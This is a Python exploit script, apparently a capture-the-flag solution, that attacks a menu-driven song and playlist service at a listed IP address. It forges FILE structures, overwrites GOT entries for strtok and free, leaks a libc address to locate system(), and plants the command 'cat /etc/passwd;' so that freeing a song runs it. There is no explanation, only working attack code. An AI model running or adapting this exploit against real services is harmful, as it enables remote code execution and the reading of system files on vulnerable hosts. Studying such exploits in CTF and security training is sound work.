import socket
from struct import pack,unpack
from ctypes import c_int32
import telnetlib,time


REMOTE = ('54.92.45.49',32902)
LOCAL = ('192.168.55.128',31337)
BUFFER = 4096



s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(LOCAL)

def recv_until(str,debug=0):
	recv_ = ''
	while not str in recv_:
		tmp = s.recv(BUFFER)
		recv_ += tmp
		if debug:
			print tmp
		continue
	return recv_




wb_mode = 0xfbad2484
rb_mode = 0xfbad2488  
strtok_got = 0x804b0a4 


payload = pack('<I',rb_mode) + pack('<I',strtok_got) + pack('<I',strtok_got+0x100) + pack('<I',strtok_got)
payload += pack('<I',0x0)*9 + pack('<I',0xf7fbd960) + pack('<I',0xffffffff)

recv_until('Exit')
s.send('5\n')
recv_until('name')
s.send('hihi\n')
recv_until('Exit')
s.send('6\n')
recv_until('Exit')




## CREATE SONG
s.send('1\n')
recv_until('Name:')
s.send('a\n')
recv_until('Artist')
s.send('a\n')
recv_until('size')
s.send('8\n')
recv_until('Lyric')
s.send('a\n')
recv_until('Exit')

s.send('4\n')
recv_until('name')
s.send('abchhhhh\n')
recv_until('ID')
s.send('-1\n')
recv_until('Exit')

s.send('7\n')
recv_until('Exit')

s.send('4\n')
recv_until('name')
playlist_name = pack('<I',0x804bc80 - 0x208 -30 )*50
playlist_name = playlist_name.ljust(250,"a")
s.send(playlist_name+'\n')
recv_until('ID')
s.send('-1\n')
recv_until('Exit')

s.send('3\n')# free song
recv_until('ID')
s.send('0\n')
recv_until('Exit')

## CREATE SONG
s.send('1\n')
recv_until('Name:')
s.send('a\n')
recv_until('Artist')
s.send('a\n')
recv_until('size')
s.send('360\n')
recv_until('Lyric')

read_ptr = pack('<I',0x41414141) +  pack('<I',0x41414141) +  pack('<I',0x08048B04)
overwrite_addr = 0x804b0c0  
write_ptr =  pack('<I',overwrite_addr)*2 + pack('<I',overwrite_addr+0x100)
payload1 = pack('<I',wb_mode) + read_ptr + write_ptr
s.send(payload1+'\n')
recv_until('Exit')

s.send('7\n')
recv_until('Exit')

#leak
s.send('2\n')
recv_until('ID')
s.send('0\n')
data =recv_until('Exit').split('[4]')[2][194/2:]
free_ = unpack('<I',data[:4])[0]
print 'free_:',hex(free_)
system = free_-0x36ad0



## CREATE SONG 2
s.send('1\n')
recv_until('Name:')
s.send('a\n')
recv_until('Artist')
s.send('a\n')
recv_until('size')
s.send('8\n')
recv_until('Lyric')
s.send('a\n')
recv_until('Exit')

## CREATE SONG 3
s.send('1\n')
recv_until('Name:')
s.send('a\n')
recv_until('Artist')
s.send('a\n')
recv_until('size')
s.send('32\n')
recv_until('Lyric')
s.send('cat /etc/passwd;\n')
recv_until('Exit')

raw_input("?")

s.send('4\n')
recv_until('name')
s.send('abchhhhh\x00\n')
recv_until('ID',1)
s.send('-1\n')
recv_until('Exit',1)

s.send('7\n')
recv_until('Exit')

s.send('4\n')
recv_until('name')
playlist_name = pack('<I',system)
playlist_name = playlist_name.ljust(116,"D")
playlist_name += pack('<I',0x804bc6a  )
playlist_name = playlist_name.ljust(250,"D")
s.send(playlist_name+'\n')
recv_until('ID')
s.send('-1\n')
recv_until('Exit')

s.send('3\n')# free song
recv_until('ID')
s.send('2\n')
recv_until('Exit')

## CREATE SONG
s.send('1\n')
recv_until('Name:')
s.send('a\n')
recv_until('Artist')
s.send('a\n')
recv_until('size')
s.send('360\n')
recv_until('Lyric')

raw_input("?")

read_ptr = pack('<I',0x41414141) +  pack('<I',0x41414141) +  pack('<I',0x08048B04)
overwrite_addr = 0x0804b014   # free_got  
write_ptr =  pack('<I',overwrite_addr)*2 + pack('<I',overwrite_addr+0x100)
payload1 = pack('<I',wb_mode) + read_ptr + write_ptr
s.send(payload1+'\n')
recv_until('Exit')

s.send('7\n')
data = s.recv(BUFFER)
print data







s.close()